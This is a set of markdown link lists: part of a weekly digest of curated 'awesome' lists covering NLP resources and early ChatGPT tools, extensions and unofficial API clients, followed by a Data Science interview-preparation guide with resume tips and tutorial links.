* [GerPT2 (⭐17)](https://github.com/bminixhofer/gerpt2)
* [Sentence Transformers (⭐9k)](https://github.com/UKPLab/sentence-transformers)
### On Wikipedia
* [Bag of words model](https://en.wikipedia.org/wiki/Bag-of-words_model)
* [Document classification](https://en.wikipedia.org/wiki/Document_classification)
* [Language models](https://en.wikipedia.org/wiki/Language_model)
* [Naive Bayes classification](https://en.wikipedia.org/wiki/Naive_Bayes_classifier)
* [Natural language processing](https://en.wikipedia.org/wiki/Natural_language_processing)
* [Outline of natural language processing](https://en.wikipedia.org/wiki/Outline_of_natural_language_processing)
* [Parts of speech tagging](https://en.wikipedia.org/wiki/Part-of-speech_tagging)
* [Sentiment analysis](https://en.wikipedia.org/wiki/Sentiment_analysis)
* [Term frequency - inverse document frequency](https://en.wikipedia.org/wiki/Tf%E2%80%93idf)
* [Vector space model](https://en.wikipedia.org/wiki/Vector_space_model)
### Books
* [Natural Language Processing with Python](https://www.nltk.org/book/) - The book from the NLTK package.
* [Foundations of Computational Linguistics](https://books.google.com/books?id=o9iGAgAAQBAJ\&dq=Foundations+of+Computational+Linguistics\&hl=nl\&source=gbs_navlinks_s)
* [Semisupervised Learning for Computational Linguistics](https://books.google.com/books/about/Semisupervised_Learning_for_Computationa.html?id=VCd67cGB_rAC\&redir_esc=y)
* [The Oxford Handbook of Computational Linguistics](https://www.oxfordhandbooks.com/view/10.1093/oxfordhb/9780199276349.001.0001/oxfordhb-9780199276349)
### Standards
* [DTA Basisformat](https://www.deutschestextarchiv.de/doku/basisformat/)
* [ISO TC 37 SC 4](https://www.iso.org/committee/297592.html)
* [UIMA](https://docs.oasis-open.org/uima/v1.0/os/uima-spec-os.html)
* [UIMA CAS XMI](https://uima.apache.org/d/uimaj-current/references.html#ugr.ref.xmi)
### Lists
* [15 most popular books on good reads](https://www.goodreads.com/shelf/show/natural-language-processing)
* GitHub topics [corpus-linguistics](https://github.com/topics/corpus-linguistics) & [nlp](https://github.com/topics/nlp)
* [nlp-datasets (⭐5.2k)](https://github.com/niderhoff/nlp-datasets)
* [NLP-progress (⭐21k)](https://github.com/sebastianruder/NLP-progress)
* [/r/LanguageTechnology/](https://www.reddit.com/r/LanguageTechnology/)
* [awesome-nlp (⭐14k)](https://github.com/keon/awesome-nlp)
* [Awesome Community-Curated NLP List (⭐184)](https://github.com/alvations/awesome-community-curated-nlp)
* [awesome-chinese-nlp (⭐7.1k)](https://github.com/crownpku/Awesome-Chinese-NLP)
* [awesome-danish (⭐96)](https://github.com/fnielsen/awesome-danish)
* [awesome-hungarian-nlp (⭐160)](https://github.com/oroszgy/awesome-hungarian-nlp)
* [awesome Information Retrieval (⭐860)](https://github.com/harpribot/awesome-information-retrieval)
* [Indonesian NLP (⭐245)](https://github.com/kmkurn/id-nlp-resource)
* [Norwegian NLP resources (⭐150)](https://github.com/web64/norwegian-nlp-resources)
* [German NLP resources (⭐260)](https://github.com/adbar/German-NLP/)
* [awesome-nlp-polish (⭐227)](https://github.com/ksopyla/awesome-nlp-polish)
* [awesome-spanish-nlp (⭐305)](https://github.com/dav009/awesome-spanish-nlp)
* [M. Weisser's list of NLP/Computational Linguistics Resources](https://martinweisser.org/corpora_site/comp_ling_resources.html)
* [NLP tools (Saarland University)](https://www.coli.uni-saarland.de/\~csporled/page.php?id=tools)
* [W. Roberts' Computational Linguistics Links](https://amor.cms.hu-berlin.de/\~robertsw/links.html)
## [78. Awesome Gpt3](/content/elyase/awesome-gpt3/week/README.md)
### Demos / Game generation
* [GPT-3 generating snake game](https://twitter.com/kugos0/status/1600794621730095104)
## [79. Awesome Machine Learning](/content/josephmisiti/awesome-machine-learning/week/README.md)
### Tools / Misc
* [Arize AI](https://www.arize.com) - Model validaiton and performance monitoring, drift detection, explainability, visualization across structured and unstructured data
## [80. Awesome Chatgpt](/content/saharmor/awesome-chatgpt/week/README.md)
### Prompting
* ⭐️ [Generating detailed prompts for text-to-image models such as Midjourney & Stable Diffusion](https://twitter.com/guyp/status/1598020781065527296)
### Using ChatGPT in other apps
* [A Chrome extension that presents ChatGPT results next to Google Search](https://twitter.com/zohaibahmed/status/1599191505025261569)
* [OpenAI ChatGPT desktop app for Mac, Windows, & Linux menubar using Tauri & Rust (⭐935)](https://github.com/sonnylazuardi/chatgpt-desktop)
* [ChatGPT for Mac: access from menu bar (⭐3.7k)](https://github.com/vincelwt/chatgpt-mac)
* [ChatGPT Chrome extension](https://twitter.com/kazuki_sf_/status/1598955169576013825)
* [ChatGPT WhatsApp bot](https://twitter.com/danielgross/status/1598735800497119232)
* [ChatGPT Telegram bot](https://twitter.com/altryne/status/1598822052760195072)
* [ChatGPT Twitter bot (⭐384)](https://github.com/transitive-bullshit/chatgpt-twitter-bot)
* [docGPT, ChatGPT for Google Doc](https://twitter.com/cesarhuret/status/1599602487102562304)
* [A browser extension that augments your ChatGPT prompts with web results](https://twitter.com/hahahahohohe/status/1599839969396154369)
* [ChatGPT Discord bot (⭐1.1k)](https://github.com/Zero6992/chatGPT-discord-bot)
* [A GPTChat based GitHub robot for dialogue, code reviews, etc. (⭐268)](https://github.com/oceanlvr/ChatGPT-ProBot)
### Assistants
* [An app builder such as an essay automated summarizer](https://twitter.com/packym/status/1598405769669771264)
* [Personal trainer and nutritionist](https://twitter.com/anothercohen/status/1599531037570502656)
* [Generating legal contracts](https://twitter.com/atri_life/status/1599506327461859328)
* [Solving complex academic assignments](https://twitter.com/abhnvx/status/1598258353196929024)
* [Generating editorial pieces like sports articles](https://twitter.com/geovedi/status/1599572163799183360)
* [Generating SEO titles to optimize sites Click Through Rate](https://twitter.com/tejas3732/status/1599094776292573184)
* ⭐️ [Summarize web pages using OpenAI ChatGPT (⭐473)](https://github.com/clmnin/summarize.site)
* [emailGPT - a quick and easy interface to generate emails with ChatGPT (⭐154)](https://github.com/lucasmccabe/emailGPT)
### Coding
* [Building e-commerce websites: stitching ChatGPT & Node script to automatically generate SEO-driven blog posts using GPT 3](https://twitter.com/giladrom/status/1599617326290468864)
* ⭐️ [Code debugging partner: explains and fixes bugs](https://twitter.com/amasad/status/1598042665375105024)
* ⭐️ [Extension to use ChatGPT within VS Code](https://twitter.com/marcelpociot/status/1599180144551526400)
* [Streamlining cloud APIs to perform complex tasks](https://twitter.com/amasad/status/1598089698534395924)
* [Solving complex coding questions](https://twitter.com/goodside/status/1598129631609380864)
* [Answering unanswered Stack Overflow questions](https://twitter.com/htmleverything/status/1599443014153224193)
* [Explaining complex regex without any context](https://twitter.com/jwblackwell/status/1598090447854792705)
* [A tutorial on how to use ChatGPT to create a wrapper R package](https://twitter.com/IsinAltinkaya/status/1599440535529623552)
* [Generate an entire WordPress plugin based on a simple description](https://twitter.com/johnofhousejohn/status/1599932681076473856)
### ChatGPT API
* ⭐️ [Lightweight package for interacting with the ChatGPT API by reversing engineering the official API (⭐15k)](https://github.com/acheong08/ChatGPT)
* [TLS-based ChatGPT API with auto token regeneration, conversation tracking, etc. (⭐3.2k)](https://github.com/rawandahmad698/PyChatGPT)
* [Node.js client for the unofficial ChatGPT API](https://twitter.com/transitive_bs/status/1599913925373399040)
### ChatGPT explainers
* ⭐️ [An insightful executive summary of ChatGPT](https://twitter.com/swyx/status/1599189032529178624)
* [The Brilliance and Weirdness of ChatGPT](https://www.nytimes.com/2022/12/05/technology/chatgpt-ai-twitter.html)
### Conversational
* [An artist trains a chatbot using past notes and diaries to talk to her inner child](https://twitter.com/michellehuang42/status/1597005489413713921)
* [ChatGPT-conversation: talk to ChatGPT using your voice (⭐348)](https://github.com/platelminto/chatgpt-conversation)
### Thought-provoking
* ⭐️ [Running a virtual machine inside ChatGPT](https://twitter.com/317070/status/1599152176344928256)
* [Bypassing OpenAI's restrictions by disclosing ChatGPT's belief system](https://twitter.com/zoink/status/1599281052115034113)
* [Uncovering ChatGPT's opinion of humans including a detailed destruction plan](https://twitter.com/michlbrmly/status/1599168681711656961)
* [Generating hallucinated chat with a hallucinated person in a hallucinated chat room](https://twitter.com/gfodor/status/1599220837999345664)
### Other
* ⭐️ [Generating code for automated RPA, e.g. automating the click sequence for house search in Redfin](https://twitter.com/theaievangelist/status/1599579579064406017)
* [Generating on-demand code contribution ideas for an about-to-be-fired Twitter employee](https://twitter.com/goodside/status/1599082185402642432)
* [Generating stars constellations in an image](https://twitter.com/RReverser/status/1599180092621611008)
* [Building web AR scenes by using text commands](https://twitter.com/stspanho/status/1599367959029288960)
* [An extension that adds "Generate PNG" and "Export PDF" functions to ChatGPT's interface](https://twitter.com/liadyosef/status/1599484187396145153)
* [Creating a trivia game using ChatGPT. For example, a game for guessing which city is featured in a picture](https://twitter.com/xf1280/status/1599252728399921152)
* [The Chinese version of AI dungeon using ChatGPT as the storytelling model (⭐837)](https://github.com/bupticybee/ChineseAiDungeonChatGPT)
* [ChatGPT outperforming Google search](https://twitter.com/jdjkelly/status/1598021488795586561)
* [ChatRPG — A Text Adventure Game with an Inventory and Health System using ChatGPT](https://medium.com/@seanhugg/chatrpg-a-text-adventure-game-with-an-inventory-and-health-system-using-chatgpt-d49d0969931c)
## [81. Awesome Chatgpt](/content/Kamigami55/awesome-chatgpt/week/README.md)
### Official Resource
* [ChatGPT website](https://chat.openai.com/)
* [ChatGPT launch blog post](https://openai.com/blog/chatgpt/)
### Use ChatGPT Anywhere / Browser Extensions
* [ChatGPT for Google](https://chrome.google.com/webstore/detail/chatgpt-for-google/jgjaeacdkonaoafenlfkkkmbaopkbilf): Chrome/Edge/Firefox Browser extension. Display ChatGPT response alongside Google Search results. ([Firefox Add-on](https://addons.mozilla.org/en-US/firefox/addon/chatgpt-for-google/), [source code (⭐12k)](https://github.com/wong2/chat-gpt-google-extension))
* [ChatGPT Extension](https://chrome.google.com/webstore/detail/chatgpt-chrome-extension/cdjifpfganmhoojfclednjdnnpooaojb): Chrome Extension that lets you quickly access OpenAI's ChatGPT on the web. ([source code (⭐368)](https://github.com/kazuki-sf/ChatGPT_Extension))
* [ChatGPT Everywhere (⭐2.3k)](https://github.com/gragland/chatgpt-everywhere): Chrome extension that adds ChatGPT to every text box on the internet. ([demo](https://twitter.com/gabe_ragland/status/1599466486422470656))
### Use ChatGPT Anywhere / Desktop Applications
* [ChatGPT Desktop App (⭐1.3k)](https://github.com/sonnylazuardi/chatgpt-desktop): Windows/MacOS desktop menubar app using tauri & rust.
* [chatgpt-mac (⭐4.5k)](https://github.com/vincelwt/chatgpt-mac): MacOS menubar app.
### Use ChatGPT Anywhere / Editors
* [ChatGPT for VSCode (⭐3.7k)](https://github.com/mpociot/chatgpt-vscode): VSCode extension. ([demo](https://twitter.com/marcelpociot/status/1599180144551526400))
* [chatgpt.vim (⭐234)](https://github.com/terror/chatgpt.nvim): Neovim plugin that lets you query ChatGPT inside a Neovim buffer.
* [docGPT (⭐381)](https://github.com/cesarhuret/docGPT): ChatGPT directly within Google Docs as an Editor Add-on.
### Use ChatGPT Anywhere / Launcher Extensions
* [ChatGPT Raycast extension (⭐351)](https://github.com/abielzulio/chatgpt-raycast): Run ChatGPT through Raycast extension.
### Use ChatGPT Anywhere / Chatbots
* [Twitter/@ChatGPTBot](https://twitter.com/ChatGPTBot): Twitter bot. ([source code (⭐564)](https://github.com/transitive-bullshit/chatgpt-twitter-bot))
* [ChatGPT ProBot (⭐298)](https://github.com/oceanlvr/ChatGPTBot): GitHub APP. Type `/chatgpt` to chat with ChatGPTBot.
* [chatgpt-telegram (⭐3.3k)](https://github.com/m1guelpf/chatgpt-telegram): Run your own GPTChat Telegram bot, with a single command.
* [ChatGPT Telegram Bot in AWS Lambda (⭐185)](https://github.com/franalgaba/chatgpt-telegram-bot-serverless): ChatGPT Telegram Bot running in AWS Lambda. Supports voice messages & markdown rendering.
* [chatGPT-discord-bot (⭐1.4k)](https://github.com/Zero6992/chatGPT-discord-bot): Integrate your own Discord bot using chatGPT.
* [wechat-chatgpt (⭐9.2k)](https://github.com/fuergaosi233/wechat-chatgpt): Use ChatGPT On Wechat via wechaty.
* [ChatGPT LINE Bot (⭐94)](https://github.com/isdaviddong/chatGPTLineBot) (Chinese content): Build your own ChatGPT LINE bot.
### Use ChatGPT Anywhere / Reverse Proxy
* [gpt.chatapi.art](https://gpt.chatapi.art/): ChatGPT reverse proxy site, intended for people with restricted access to areas by OpenAI.
### Extend ChatGPT Feature / Reverse Proxy
* [ShareGPT](https://sharegpt.com/): Share your wildest ChatGPT conversations with one click. ([demo](https://twitter.com/steventey/status/1599816553490366464))
* [ChatGPT export to PNG/PDF/HTML (⭐840)](https://github.com/liady/ChatGPT-pdf): Chrome extension for downloading your ChatGPT history to PNG, PDF or a sharable link.
* [ChatGPT Advanced (⭐3k)](https://github.com/qunash/chatgpt-advanced): Chrome extension that augments your ChatGPT prompts with web results.
* [TampermonkeyUserscripts/ChatGPTVoiceInput (⭐125)](https://github.com/doggy8088/TampermonkeyUserscripts/blob/main/src/ChatGPTVoiceInput.user.js?fbclid=IwAR2sYE_CIOTdhNlRqaYwJ3eh-foa4O7ZHukYcc1dXLcU8IHLIDOt52gdAdQ) (Chinese content): Tampermonkey script. ChatGPT voice input interface (supports English/Chinese/Japanese/Korean).
### Applications / Reverse Proxy
* [summarize.site](https://chrome.google.com/webstore/detail/summarize/lmhkmibdclhibdooglianggbnhcbcjeh): Chrome extension to summarize web page content.
* [commitgpt (⭐1.1k)](https://github.com/RomanHotsiy/commitgpt): Automatically generate commit messages using ChatGPT.
* [chatgpt-action (⭐381)](https://github.com/kxxt/chatgpt-action): Github Action to let ChatGPT review PRs for you.
### Prompts / Reverse Proxy
* [showGPT](https://showgpt.co/): Website with curated list of best prompts, and you can submit your own easily.
* [Awesome ChatGPT Prompts (⭐41k)](https://github.com/f/awesome-chatgpt-prompts): ChatGPT prompts that works well.
* [awesome-chatgpt (⭐470)](https://github.com/saharmor/awesome-chatgpt): Posts & thoughts about prompting ChatGPT for different usages
### Development Tools (API, SDK) / Reverse Proxy
* [PyChatGPT (⭐3.7k)](https://github.com/rawandahmad698/PyChatGPT) (Python): Lightweight, TLS-Based ChatGPT API on your CLI without requiring a browser or access token.
* [pip/revChatGPT (⭐21k)](https://github.com/acheong08/ChatGPT) (Python): Lightweight package for interacting with ChatGPT's API by OpenAI. Uses reverse engineered official API.
* [npm/chatgpt (⭐11k)](https://github.com/transitive-bullshit/chatgpt-api) (Node.js): Node.js client for the unofficial ChatGPT API.
* [ChatGPT API Dart (⭐51)](https://github.com/MisterJimson/chatgpt_api_dart) (Dart): Dart client for the unofficial ChatGPT API.
* [go-chatgpt (⭐53)](https://github.com/abhayptp/go-chatgpt) (Golang): An unofficial ChatGPT client in Golang.
### Experiments / Reverse Proxy
* [gptlang (⭐212)](https://github.com/forrestchang/gptlang): Experiment to see if we can create a programming language in ChatGPT.
---
- Prev: [Dec 12 - Dec 18, 2022](/content/2022/50/README.md)
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# Data-Science-Interview-Resources
First of all, thanks for visiting this repo, congratulations on making a great career choice, I aim to help you land an amazing Data Science job that you have been dreaming for, by sharing my experience, interviewing heavily at both large product-based companies and fast-growing startups, hope you find it useful.
With an increase in demand for so many Data Scientists, it's really hard to successfully get screened and accepted for an interview. In this repo, I include everything from getting successfully screened and rocking that interview to land that amazing position, make sure to nail it with the following resources.
Every Resource I list here is personally verified by me and most of them I have used personally, which have helped me a lot.
**Word of Caution:** Data Science/Machine Learning has a very big domain and there are a lot of things to learn. This by no means is an exhaustive list and is just for helping you out if you are struggling to find some good resources to start your preparation. However, I try to cover and update this frequently and my goal is to cover and unify everything into one resource that you can use to rock those interviews!
**Please leave a star if you appreciate the effort.**
**Note:** For contribution, refer [Contribution.md](https://github.com/rbhatia46/Data-Science-Interview-Resources/blob/master/Contribution.md)
## How to get an interview ?
* First and foremost, **develop the necessary skills and be sound with the fundamentals**, these are some of the horizons you should be extremely comfortable with -
- Business Understanding(this is extremely critical across all seniority levels, but specifically for people with more than 3 years of experience)
- SQL and Databases(very crucial)
- Programming Skills(preferably in Python, if you know Scala, extra brownie points for some specific roles)
- Mathematics(Probability, Statistics, Linear Algebra and Calculus) - https://medium.com/@rbhatia46/essential-probability-statistics-concepts-before-data-science-bb787b7a5aef
- Machine Learning(this includes Deep Learning) and Model building
- Data Structures and Algorithms(must and mandatory for top product based companies like FAANG)
- Domain Understanding(Optional for most openings, though very critical for some roles based on company's requirement)
- Literature Review(must for Research based roles) : Being able to read and understand a new research paper is one of the most essential and demanding skills needed in the industry today, as the culture of Research and Development, and innovation grows across most good organizations.
- Communication Skills - Being able to explain the analysis and results to business stakeholders and executives is becoming a really important skill for Data Scientists these days
- Some Engineering knowledge(Not mandatory, but good to have) - Being able to develop a RESTful API, writing clean and elegant code, Object Oriented programming are some of the things you can focus on for some extra brownie points.
- Big data knowledge(not mandatory for most openings, but good to have) - Spark, Hive, Hadoop, Sqoop.
* **Build a personal Brand**
- Develop a good GitHub/portfolio of use-cases you have solved, always strive for solving end-to-end use cases, which demonstrate the entire Data Science lifecycle, from business understanding to model deployment.
- Write blogs, start a YouTube channel if you enjoy teaching, write a book.
- Work on a digital, easy-to-open, easy-to-read, clean, concise and easily customizable Resume/CV, always include your demo links and source code of every use-case you have solved.
- Participate in Kaggle competitions, build a good Kaggle profile and send them to potential employers for increasing the chances of getting an interview call real-quick.
* **Develop good connections**, through LinkedIn, by attending conferences, and doing everything you can, it's very important to land referrals and get yourself started with the interview process through good connections. Connect regularly with Data Scientists working at top product-based organizations, fast-growing startups, build a network, slowly and steadily, it's very important.`
## Some Tips on Resume/CV:
* Describe past roles and an impact you made in a **quantifiable** way, be concise and I repeat, **quantify** the impact, rather than talking with facts that have no relevance. According to Google Recruiters, use the XYZ formula -
```Accomplished [X] as measured by [Y], by doing [Z]```
* Keep it short, ideally not more than 2 pages, as you might know, an average recruiter scans your resume only for 6 seconds, and makes a decision based on that.
* If you are a fresher and don't have experience, try to solve end-to-end use-cases and mention them in your CV, preferably with the demo link(makes it easy for the recruiter) and the link to source code on GitHub.
* Avoid too much technical jargon, and this goes without saying, do not mention anything you are not confident about, this might become a major bottleneck during your interview.
* Some helpful links :
* [Advice on building Data Portfolio Projects](https://medium.com/@jasonkgoodman/advice-on-building-data-portfolio-projects-c5f96d8a0627) 📘
* [How to write a killer Software Engineering Resume](https://www.freecodecamp.org/news/writing-a-killer-software-engineering-resume-b11c91ef699d/) 📘
* [Get your Data Science Resume past the ATS](https://towardsdatascience.com/up-level-your-data-science-resume-getting-past-ats-64322f0cbb73) 📘
* [How to write a developer résumé that hiring managers will actually read](https://www.freecodecamp.org/news/how-to-write-a-resume-that-works/) 📘
***
* If you want to quickly revise your math basics, follow this : https://media-exp2.licdn.com/dms/document/C4D1FAQFzFmR919-Erw/feedshare-document-pdf-analyzed/0/1655384106479?e=1656547200&v=beta&t=9bm4OUyWfM1dQR8LWXsLrGDqYz_Yr_e7TJxHXLXe36I
* If you want to quick revise you Stats and ML basics, follow this : https://media-exp2.licdn.com/dms/document/C4D1FAQFLvzVgVxYAAA/feedshare-document-pdf-analyzed/0/1656265480370?e=1657152000&v=beta&t=RD90ZEx3x2VLUGSthO-1uYKadzwTRixKRg3s8j2nvOc
## Probability and Statistics
* [Understand the basics of Descriptive Statistics(Really Important for an interview)](https://towardsdatascience.com/understanding-descriptive-statistics-c9c2b0641291) 📘
* [40 Question on **probability** for a Data Science Interview](https://www.analyticsvidhya.com/blog/2017/04/40-questions-on-probability-for-all-aspiring-data-scientists/) 📘
* [40 Statistics Interview Problems and Answers for Data Scientists](https://towardsdatascience.com/40-statistics-interview-problems-and-answers-for-data-scientists-6971a02b7eee) 📘
* [Probability and Statistics in the context of Deep Learning](https://towardsdatascience.com/probability-and-statistics-explained-in-the-context-of-deep-learning-ed1509b2eb3f) 📘
* [Probability v/s Likelihood](https://www.youtube.com/watch?v=pYxNSUDSFH4) 📹
* [Bootstrap Methods - The Swiss Army Knife of any Data Scientist](https://medium.com/data-science-journal/the-bootstrap-the-swiss-army-knife-of-any-data-scientist-acd6e592be13) 📘
* [Confidence Intervals Explained Simply for Data Scientists](https://mlwhiz.com/blog/2020/02/21/ci/) 📘
* [P-value Explained Simply for Data Scientists](https://towardsdatascience.com/p-value-explained-simply-for-data-scientists-4c0cd7044f14) 📘
* [PDF is not a probability](https://towardsdatascience.com/pdf-is-not-a-probability-5a4b8a5d9531) 📘
* [5 Sampling algorithms every Data Scientist should know](https://mlwhiz.com/blog/2019/07/30/sampling/) 📘
* [The 10 Statistical Techniques Data Scientists Need to Master](https://www.kdnuggets.com/2017/11/10-statistical-techniques-data-scientists-need-master.html) 📘
***
## SQL and Data Acquisition
This is probably the entry point of your Data Science project, SQL is one of the most important skills for any Data Scientist.
* [5 Common SQL Interview Problems for Data Scientists](https://towardsdatascience.com/5-common-sql-interview-problems-for-data-scientists-1bfa02d8bae6) 📘
* [46 Questions to test a Data Scientist on SQL](https://www.analyticsvidhya.com/blog/2017/01/46-questions-on-sql-to-test-a-data-science-professional-skilltest-solution/) 📘
* [30 SQL Interview Questions curated for FAANG by an Ex-Facebook Data Scientist](https://www.nicksingh.com/posts/30-sql-and-database-design-questions-from-real-data-science-interviews) 📘
* [SQL Interview Questions](https://365datascience.com/sql-interview-questions/) 📘
* [How to ace Data Science Interviews - SQL](https://towardsdatascience.com/how-to-ace-data-science-interviews-sql-b71de212e433) 📘
* [3 Must Know SQL Questions to pass your Data Science Interview](https://medium.com/@jayfeng/three-must-know-sql-questions-to-pass-your-data-science-interview-463311c7eaea) 📘
* [10 frequently asked SQL Queries in Interviews](https://www.java67.com/2013/04/10-frequently-asked-sql-query-interview-questions-answers-database.html) 📘
* [Technical Data Science Interview Questions: SQL and Coding](https://hackernoon.com/technical-data-science-interview-questions-sql-and-coding-jv1k32bf) 📘
* [How to optimize SQL Queries - Datacamp](https://www.datacamp.com/community/tutorials/sql-tutorial-query) 📘
* [Ten SQL Concepts You Should Know for Data Science Interviews](https://towardsdatascience.com/ten-sql-concepts-you-should-know-for-data-science-interviews-7acf3e428185) 📘
***
## Data Preparation and Visualization
* [5 Feature Selection Algorithms every Data Scientist should know](https://towardsdatascience.com/the-5-feature-selection-algorithms-every-data-scientist-need-to-know-3a6b566efd2) 📘
* [6 Different Ways to Compensate for Missing Values In a Dataset ](https://towardsdatascience.com/6-different-ways-to-compensate-for-missing-values-data-imputation-with-examples-6022d9ca0779) 📘
* [A Brief Overview of Outlier Detection Techniques](https://towardsdatascience.com/a-brief-overview-of-outlier-detection-techniques-1e0b2c19e561) 📘
* [Cleaning and Prepping Data with Python for Data Science — Best Practices and Helpful Packages](https://medium.com/@rrfd/cleaning-and-prepping-data-with-python-for-data-science-best-practices-and-helpful-packages-af1edfbe2a3) 📘
* [When to use which plot for visualization](https://towardsdatascience.com/what-plot-why-this-plot-and-why-not-9508a0cb35ea) 📘
* [Ways to detect and remove Outliers](https://towardsdatascience.com/ways-to-detect-and-remove-the-outliers-404d16608dba) 📘
* [Dealing with Class Imbalances in Machine Learning](https://towardsdatascience.com/dealing-with-imbalanced-classes-in-machine-learning-d43d6fa19d2) 📘
* [Smarter ways to encode categorical data](https://towardsdatascience.com/smarter-ways-to-encode-categorical-data-for-machine-learning-part-1-of-3-6dca2f71b159)
* [Numpy and Pandas Cheatsheet](https://github.com/jessicayung/data-analyst-nd/blob/master/2-intro-to-data-analysis/numpy_pandas_cheatsheet.pdf) 📘
* [3 Methods to deal with outliers](https://www.kdnuggets.com/2017/01/3-methods-deal-outliers.html) 📘
* [Feature Selection Techniques](https://towardsdatascience.com/feature-selection-techniques-in-machine-learning-with-python-f24e7da3f36e) 📘
* [Why, how and When to scale your features](https://medium.com/greyatom/why-how-and-when-to-scale-your-features-4b30ab09db5e) 📘
* [Everything you need to know about Scatter plots](https://towardsdatascience.com/everything-you-need-to-know-about-scatter-plots-for-data-visualisation-924144c0bc5) 📘
* [How to Select Features for Machine Learning](https://www.youtube.com/watch?v=YaKMeAlHgqQ) 📹
* [10 ways for Feature Selection](https://www.youtube.com/watch?v=Erp0bjEPoM8) 📹
***
## Classic Machine Learning Algorithms
### 1. Logistic Regression
* [All about Logistic Regression in one article](https://towardsdatascience.com/logistic-regression-b0af09cdb8ad) 📘
* [Understanding Logistic Regression step-by-step](https://towardsdatascience.com/understanding-logistic-regression-step-by-step-704a78be7e0a) 📘
* [Logistic Regression - Short and Clear Explanation - 9 Mins](https://www.youtube.com/watch?v=yIYKR4sgzI8) 📹
* [Linear Regression vs Logistic Regression](https://www.youtube.com/watch?v=OCwZyYH14uw) 📹
* [30 Questions to test a Data Scientist on Logistic Regression](https://www.analyticsvidhya.com/blog/2017/08/skilltest-logistic-regression/) 📘
* [Logistic Regression - Understand Everything (Theory + Maths + Coding) in 1 video](https://www.youtube.com/watch?v=VCJdg7YBbAQ) 📹
### 2. Linear Regression
* [30 Questions to test a Data Scientist on Linear Regression](https://www.analyticsvidhya.com/blog/2017/07/30-questions-to-test-a-data-scientist-on-linear-regression/) 📘
* [Linear Regression - Understand Everything (Theory + Maths + Coding) in 1 video](https://www.youtube.com/watch?v=E5RjzSK0fvY) 📹
* [5 Types of Regression and their properties](https://towardsdatascience.com/5-types-of-regression-and-their-properties-c5e1fa12d55e) 📘
* [Ridge Regression - Clearly Explained](https://www.youtube.com/watch?v=Q81RR3yKn30) 📹
* [Lasso Regression - Clearly Explained](https://www.youtube.com/watch?v=NGf0voTMlcs) 📹
### 3. Tree Based/Ensemble Algorithms
* [30 Questions to test a Data Scientist on Tree based models](https://www.analyticsvidhya.com/blog/2017/09/30-questions-test-tree-based-models/) 📘
* [Gini-index v/s Information Entropy](https://towardsdatascience.com/gini-index-vs-information-entropy-7a7e4fed3fcb) 📘
* [Decision Tree vs. Random Forest – Which Algorithm Should you Use?](https://www.analyticsvidhya.com/blog/2020/05/decision-tree-vs-random-forest-algorithm/) 📘
* [Why Random Forest doesn't work well for Time-Series?](https://medium.com/datadriveninvestor/why-wont-time-series-data-and-random-forests-work-very-well-together-3c9f7b271631) 📘
* [Comprehensive guide to Ensemble Models](https://www.analyticsvidhya.com/blog/2018/06/comprehensive-guide-for-ensemble-models/) 📘
* [The Simple Math behind 3 Decision Tree Splitting criterions](https://mlwhiz.com/blog/2019/11/12/dtsplits/) 📘
### 4. K-Nearest-Neighbors
* [Fundamental Interview Questions on KNN - A Quick refresh](http://theprofessionalspoint.blogspot.com/2019/01/knn-algorithm-in-machine-learning.html) 📘
* [30 Questions to test a Data Scientist on KNN](https://www.analyticsvidhya.com/blog/2017/09/30-questions-test-k-nearest-neighbors-algorithm/) 📘
* [Pros and Cons of KNN](https://www.fromthegenesis.com/pros-and-cons-of-k-nearest-neighbors/) 📘
* [KNN Algorithm - Understand Everything (Theory + Maths + Coding) in 1 video](https://www.youtube.com/watch?v=6kZ-OPLNcgE) 📹
### 5. Support Vector Machines
* [All about SVMs - Math, Terminology, Intuition, Kernels in one article](https://towardsdatascience.com/support-vector-machines-svm-c9ef22815589) 📘
* [25 Questions to test a Data Scientist on SVMs](https://www.analyticsvidhya.com/blog/2017/10/svm-skilltest/) 📘
### 6. Naive Bayes
* [12 tips to make most out of Naive Bayes](https://machinelearningmastery.com/better-naive-bayes/) 📘
* [Naive Bayes - Understand Everything (Theory + Maths + Coding) in 1 video](https://www.youtube.com/watch?v=vz_xuxYS2PM) 📹
* [6 easy steps to learn Naive Bayes](https://www.analyticsvidhya.com/blog/2017/09/naive-bayes-explained/) 📘
***
## Time Series
* [40 Questions to test a Data Scientist on Time Series](https://www.analyticsvidhya.com/blog/2017/04/40-questions-on-time-series-solution-skillpower-time-series-datafest-2017/) 📘
* [11 Classical Time Series Forecasting Methods](https://machinelearningmastery.com/time-series-forecasting-methods-in-python-cheat-sheet/) 📘
* [Interview Questions on ARIMA](https://www.youtube.com/watch?v=654SjiZO5ks) 📹
***
## Unsupervised Learning
* [The DOs and DONTs of PCA(Principal Component Analysis)](https://medium.com/@sadatnazrul/the-dos-and-donts-of-principal-component-analysis-7c2e9dc8cc48) 📘
* [An introduction to t-SNE : DataCamp](https://www.datacamp.com/community/tutorials/introduction-t-sne) 📘
* [Dimensionally Reducing Squeezing out the good stuff](https://www.youtube.com/watch?v=4QMFNg7tjbk) 📘
* [Dimensionality Reduction for Dummies : Part 1 - Intuition](https://towardsdatascience.com/https-medium-com-abdullatif-h-dimensionality-reduction-for-dummies-part-1-a8c9ec7b7e79) 📘
* [In-depth Explanation of DBSCAN Algorithm](https://towardsdatascience.com/explaining-dbscan-clustering-18eaf5c83b31) 📘
***
## Recommender Systems
* [Recommender Systems in a Nutshell](https://www.kdnuggets.com/2020/07/recommender-systems-nutshell.html)
***
## Deep Learning
* [Why Regularization reduces overfitting in Deep Neural Networks](https://www.youtube.com/watch?v=4nqD5TBlOWU) 📹
* [Pros and Cons of Neural Networks](https://towardsdatascience.com/hype-disadvantages-of-neural-networks-6af04904ba5b) 📘
* [When not to use Neural Networks](https://medium.com/datadriveninvestor/when-not-to-use-neural-networks-89fb50622429) 📘
* [40 Questions to test a Data Scientist on Deep learning](https://www.analyticsvidhya.com/blog/2017/04/40-questions-test-data-scientist-deep-learning/) 📘
* [21 Popular Deep Learning Interview Questions](https://www.analyticsvidhya.com/blog/2020/04/comprehensive-popular-deep-learning-interview-questions-answers/) 📘
* [Deep Learning Interview Questions - Edureka](https://www.youtube.com/watch?v=HGXlFG_Rz4E) 📹
* [Activation Functions in a Neural Network - Explained](https://towardsdatascience.com/activation-functions-neural-networks-1cbd9f8d91d6) 📘
* [Vanishing and Exploding Gradient - Clearly Explained](https://www.youtube.com/watch?v=qO_NLVjD6zE) 📹
* [Bias and Variance - Very clearly explained](https://www.youtube.com/watch?v=EuBBz3bI-aA) 📹
